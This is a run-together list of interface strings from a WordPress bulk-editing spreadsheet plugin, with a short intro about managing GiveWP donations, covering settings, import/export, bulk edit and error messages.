                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
